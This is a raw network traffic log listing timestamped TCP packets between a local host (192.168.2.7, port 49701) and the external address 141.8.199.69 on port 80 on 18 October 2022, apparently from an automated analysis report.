Oct 18, 2022 13:28:06.620507002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620516062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620527983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620538950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620551109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620568991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620574951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620594025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620618105 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620618105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620640039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620645046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620661020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620678902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620702028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620703936 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.620718002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620734930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.620774984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.621022940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681163073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681201935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681221962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681240082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681258917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681276083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681293964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681315899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681339025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681348085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681359053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681376934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681391001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681401014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681426048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681448936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681473970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681480885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681480885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681497097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681500912 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681526899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681531906 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681549072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681570053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681572914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681592941 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681602955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681613922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681633949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681641102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681657076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.681678057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.681699038 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.741995096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742037058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742054939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742074013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742093086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742113113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742136002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742158890 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742173910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742180109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742203951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742219925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742228985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742233992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742252111 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742252111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742271900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742292881 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742294073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742316008 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742321968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742336988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742348909 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742360115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742383003 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742383003 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742405891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742410898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742425919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742434025 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742449045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742454052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742472887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742474079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742490053 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742499113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742522955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742527962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742546082 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742547035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.742561102 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.742589951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803006887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803050995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803069115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803082943 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803101063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803119898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803137064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803157091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803180933 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803205013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803209066 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803225040 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803246975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803255081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803272009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803277016 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803297043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803297997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803316116 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803338051 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803339005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803360939 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803364992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803389072 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803392887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803411961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803417921 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803437948 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803441048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803452015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803462982 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803482056 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803486109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803503036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803509951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803531885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803534031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803550005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803558111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.803574085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.803596973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864062071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864100933 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864115000 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864129066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864142895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864156961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864173889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864188910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864207983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864227057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864243984 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864263058 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864279985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864299059 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864322901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864343882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864342928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864362001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864382029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864391088 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864403963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864424944 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864427090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864449024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864454031 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864469051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864484072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864492893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864515066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864527941 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864538908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.864567995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.864589930 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925374031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925431013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925621986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925661087 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925687075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925705910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925724983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925726891 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925745010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925761938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925770044 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925792933 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925796032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925822020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925822020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925847054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925858974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925878048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925893068 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925901890 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925929070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925930023 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925944090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925956964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.925966024 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925966024 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.925981998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926007032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926032066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926038980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926054001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926070929 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926075935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926096916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926100016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926120043 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926131964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926142931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926157951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926167011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926177979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926192045 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.926198006 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926218033 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.926237106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986578941 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986618996 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986638069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986653090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986674070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986692905 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986717939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986742020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986769915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986768007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986768007 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986793995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986818075 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986821890 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986851931 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986860037 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986872911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986901999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986917019 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986926079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986947060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986955881 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.986973047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.986999989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987000942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987000942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987020016 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987026930 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987051010 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987051964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987076044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987076998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987102985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987102985 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987118959 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987127066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987143993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987152100 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987169027 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987176895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987195015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987201929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987221003 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987226963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987246037 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987252951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:06.987279892 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:06.987293005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.047728062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.047760963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.047939062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.047979116 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048000097 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048017979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048042059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048054934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048074961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048095942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048099041 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048122883 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048130989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048147917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048163891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048192024 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048208952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048213005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048228025 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048259020 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048263073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048280954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048297882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048316956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048321009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048335075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048352957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048355103 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048371077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048388958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048407078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048407078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048425913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048441887 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048444033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048464060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048474073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048482895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048495054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048502922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048517942 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048531055 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.048535109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.048610926 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109005928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109056950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109085083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109113932 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109143019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109169960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109186888 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109198093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109227896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109239101 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109253883 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109282017 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109286070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109308004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109309912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109334946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109349966 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109365940 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109385014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109391928 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109417915 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109420061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109443903 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109445095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:07.109468937 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:07.109471083 CEST	80	49701	141.8.199.69	192.168.2.7
